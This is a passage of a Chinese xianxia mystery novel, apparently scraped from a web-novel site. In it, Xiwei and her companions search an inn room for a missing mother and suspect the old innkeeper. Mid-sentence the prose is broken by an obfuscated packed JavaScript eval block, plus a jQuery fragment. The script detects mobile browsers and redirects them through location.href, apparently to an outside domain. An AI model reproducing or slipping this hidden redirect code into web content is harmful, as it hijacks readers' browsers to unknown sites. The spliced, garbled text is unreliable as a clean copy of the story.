李家弟子神色狐疑,上下打量着孟昭,他总觉得此人有问题,可是镜子是不会骗人的,他只能收起镜子,回到房中仔细检查起来。
孟昭神色自若,像是早就料到会是这种结果,他对溪微得意地一眨眼,撩起衣袍,施施然走进房中,走马观花般四处查看。
那李家弟子看了他一眼,没有说话。
溪微抬手制止了石淙还未出口的疑问,随意扫了一眼屋中的布局,比自己的房间要华丽些。除了中央的一桌一椅,靠近窗边还有一座梳妆台,素雅的花瓶中插着一枝花,花瓣紧紧合拢,不知什么时候会绽放。
一面古朴的铜镜,在摇晃的烛光中,反射着空荡荡的床铺。床铺上被褥被掀开,两只枕头都微微凹陷。几个时辰前,还有一对母女在上面睡得香甜。
一道身影走到梳妆台边上,拿起那朵花,放在鼻端嗅闻。溪微看清了,老掌柜的女儿芳娘,头上似乎也有一枝这种花苞。
在孟昭看过来之前,溪微拉着石淙走到回廊边上。
避开来来往往的白衫弟子们,溪微问道:“你是怎么发现陈娘子不见的?”
石淙说:“我还是不相信叶知秋会做出那种事。我想着,也许是小姑娘自己调皮,跑去哪儿玩了。那些李家弟子找不到她,陈娘子是燕儿的妈妈,说不定能找到,就来陈娘子房间了。谁知道……”
溪微没有对她的想法做出评价,她注视着把守在各处的白衫弟子,他们想必是看见石淙慌慌张张从陈娘子房中出来,才会来陈娘子房中搜寻的。
“这些弟子一直把守在这里么?”
石淙点头,她顺着溪微的目光看过去,回廊的四角全部都站着白色衣衫的弟子,特别是建有楼梯的那个角落,白色的身影更多。如果有人将陈娘子从房中带出来,必定逃不过他们的眼睛。
她神情苦恼:“有这么多弟子把守,陈娘子怎么会失踪不见呢?”
正在这时,身后响起硬物敲击地面的声音,老掌柜佝偻着腰背,走到陈娘子房门口。看见她们,他叹了口气:“这已经不是第一次发生这种事了,那些邪魔真是没有人性,抓走了女儿还不满足,还要抓走母亲。”
溪微神色一凝,她与石淙对视一眼,走上前去搀扶住老掌柜,问道:“您是说,之前也发生过这种事吗?”
老掌柜唉声叹气:“是啊,邪魔当道,我们又能怎么办呢?要不是李家庇护,我这店都开不下去了,可他们也不能时时照拂。”
说着,他们走进房中,方才持镜的那名弟子连忙过来:“老掌柜,您怎么上来了,您放心,我们李家一定会将此事查得水落石出。”
老掌柜喘着气,说道:“唉,总归是我店里的事情,不上来看看,我始终不能安心。”
溪微松开手,任凭那李家弟子搀扶住老掌柜。她听着他们的对话,目露沉思。
耳边忽然传来一道气声,孟昭悄无声息地,不知什么时候来到了她的身边。
“李家和这位老掌柜看样子关系不一般啊。”
溪微眉心一动,她偏过头,轻声回道:“这间客栈受李家庇护,关系当然不一般了。”
“是吗?西洲境内不知有多少间客栈,看来李家真是交游广泛呢。”
溪微沉默不语。那边,老掌柜颤巍巍走到窗边,伸手打开了窗户。夜间的凉风一下子吹进来,吹散了身边人些微的暖意。溪微猛然发觉,原来孟昭这缕残魂,气息也是带着温度的。
孟昭忽然靠近了一些,声音有些低:“溪微,我冷。”
溪微斜睨他一眼,因为笑意,他上挑的眼尾显现出一些下垂的弧度,卷发在烛光下显得毛茸茸的,薄唇故意向下弯着,莫名像一只可怜巴巴的小狗。溪微被他瞧着,脑海中却想起他临窗而立的样子,宽大的袍袖在风中鼓荡开来,整个人仿佛要乘风而去,哪里有一点怕冷的样子。
溪微忽然笑了一下,她拿出随身携带的芥子袋,从里面掏出一条厚厚的披风。趁孟昭还未反应过来时,迅速展开披风,将孟昭整个人围拢在其中。
孟昭被她拉着,整个人被迫倾身,脸上是一闪而逝的错愕。披风绒白的领子衬着他的脸,柔和了清俊的线条。溪微紧紧地将披风系好,直勒得他喘几乎喘不过气,才挑眉笑道:“这下你不冷了吧?”
孟昭眨眨眼,此时神情不像小狗,倒变得像一只不怀好意的狐狸了。浓密的睫毛投下深深的阴影,使得他琥珀色的眸子颜色更深,他的声音也变得低沉:“这是我觉得最暖和的时候了。”
溪微不自觉地松开披风领口的绑带。
“那个……”
石淙的声音响起,溪微才察觉自己与孟昭的距离过于近了,她连忙后退几步。石淙眼神从溪微与孟昭脸上依次溜过,她手中拿着一块莹白的玉石,结结巴巴说道:“溪微,你的寒玉掉了。”
想必是方才从芥子袋中拿披风时带出来的,溪微接过寒玉,冰凉的触感透过手心,蔓延至神魂深处。从离开昆山之后,她第一次想起梁秉,离开这么多天,他不知有没有从昏迷中醒来。
孟昭的视线凝在那枚寒玉上,眸色深深,直到溪微将寒玉重新收进芥子袋中,他才移开目光,拢紧了披风。
那边,老掌柜的声音传来,溪微连忙过去。只见老掌柜枯瘦的手指着窗棂,那里是一块布料的碎片。
李家弟子拿起那块碎片,在烛光下,能看出是一种葛布。他疑惑出声:“这布料是谁衣服上的?”
老掌柜说道:“我记得,陈娘子身上穿的,也是这种布料。”
李家弟子:“陈娘子难道是被人通过窗户掳走的?”
溪微看着那块布料,回忆陈娘子的衣着,她记得她穿的确实是葛布,衣裳的颜色也与这块布料相近。她又看向窗棂处,眉心蹙起,木制的窗棂看起来光滑平整,似乎不像是会割破衣裳的样子。
老掌柜的拐杖重重敲击着地面:“是了,一定是这样,也许陈娘子没有关紧窗户,给了邪魔可乘之机。”
石淙走到窗边,窗外正对着客栈的院子,里面有一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15780357|174815||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
间木屋,微弱的灯光从门缝中透出,外面把守着许多白衫弟子。
那正是关押叶知秋的地方。
她回过头,烛光在圆圆的眼中跳跃着:“叶知秋现在正被关着,有叶家弟子看守,根本不可能逃脱。但是陈娘子还是出事了,这不就说明,今夜作祟的邪魔另有其人,根本不是叶知秋么?”
站在一边的叶家弟子摇头,说道:“也许掳走陈娘子母女的,并不是同一个邪魔呢?”
石淙急切地看向溪微:“溪微,你怎么看呢?”
溪微走到梳妆台边坐下,铜镜正对着她的脸,镜中人面如霜雪,表情欠缺,一双剪水秋瞳清清冷冷,她凝望着镜中自己的眼睛,说道:“李家小师兄说的也不错,不能凭此就认为燕儿的失踪与叶知秋无关。”
石淙神色悒悒,瞪了一眼那李家弟子,走出了房门。
那李家弟子拿着布料也要出去,老掌柜拄起拐杖,浑浊的眼睛看一眼妆镜台边的溪微,说道:“姑娘,这间房中也没有别的线索了,还是先出去吧。”
溪微点头,指了指花瓶中的那枝花苞问道:“这是芳娘的花吗?”
老掌柜眯眼看了会儿那枝花,摇了摇头:“不清楚,小女的花都是在外面花丛中采的,说不定这是燕儿自行去那里采来的。”
溪微最后看了一眼屋内的布局,便跟着老掌柜出来了。
她走在最后,孟昭和老掌柜走在前面。不知怎么的,孟昭脚步有些不稳,忽然踉跄着撞向老掌柜的拐杖。拐杖被撞到空中,砸到木制地板上,发出“啪嗒”一声沉闷的撞击声。
老掌柜没了拐杖,身形有些不稳,颤巍巍扶住墙壁。孟昭连忙捡起拐杖还给老掌柜,口中连连道歉,之后还搀扶着老掌柜慢悠悠地下楼去了。
溪微皱眉看着这一幕,等到孟昭和老掌柜的身影消失在楼梯之后,她看了一眼陈娘子紧闭的房门,又看了一眼把守在四周的李家弟子,便快步回到了自己与孟昭的房中。
不一会儿,房门被人从外面打开。溪微坐在桌边,默默注视着孟昭背过身去关紧房门,又一步步朝她走来。
溪微嘴角扬起一抹嘲讽的微笑:“你未免太过虚弱了吧,怎么连路都走不好,还差一点连累老掌柜摔倒了。”
孟昭拉开椅子坐下,拢了拢披风,扬起的眼角微微下垂:“今夜离开你身边太久,我现在都没恢复过来。”
溪微没有理会他故作可怜的样子,说道:“你是故意这么做的。”
孟昭眼中闪过笑意:“什么都逃不开你的眼睛。”
溪微直视着他,问道:“你怀疑他?”
孟昭向前倾身,修长的手指一下一下敲击着桌面:“是你怀疑他。”
溪微眯起眼:“我怀疑他什么?”
孟昭一只手指在烛光下摇了摇,说道:“这我怎么知道,要是我呢,就好好睡一觉,做个好梦,明天才能精神饱满地游览西洲。”
说着,他以手支颐,浓密的睫毛垂落下来,竟是真的要睡了的样子。